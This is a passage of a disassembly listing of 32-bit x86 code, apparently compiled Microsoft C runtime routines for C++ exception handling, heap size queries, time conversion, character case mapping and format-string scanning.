		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
		jl	short loc_41D037

loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552

loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0

loc_41D052:				; CODE XREF: sub_41CFF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------

loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h

loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------

loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]

loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA

loc_41D11B:				; CODE XREF: sub_41D0A5+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D0A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: sub_41D0A5+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_48A090
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_48A094
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_48A090, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_48A094, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]

loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: _1:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: _1:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------

loc_41D1DE:				; DATA XREF: _1:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_48A090, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_48A094, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552

loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2

loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_48A09C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------

loc_41D539:				; DATA XREF: _1:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D53D:				; DATA XREF: _1:004248BCo
		mov	esp, [ebp+var_18]

loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0

loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D54D:				; DATA XREF: _1:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_43B924
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------

loc_41D58F:				; DATA XREF: _1:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D593:				; DATA XREF: _1:004248D4o
		mov	esp, [ebp+var_18]

loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0

loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D5A3:				; DATA XREF: _1:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_48B688
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------

loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]

loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	ds:dword_48B684
		call	ds:dword_4241C0	; RtlSizeHeap

loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, ds:dword_43C054[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi

loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, ds:dword_43BF70
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	ds:dword_43BF74, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1

loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, ds:dword_43BF78

loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------

loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh

loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_48A0A8, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------

loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	ds:dword_4397AC, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------

loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, ds:off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729

loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, ds:off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------

loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------

loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	ds:dword_4397AC, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------

loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, ds:off_4395A0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch

loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------

loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_4397AC, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------

loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, ds:off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
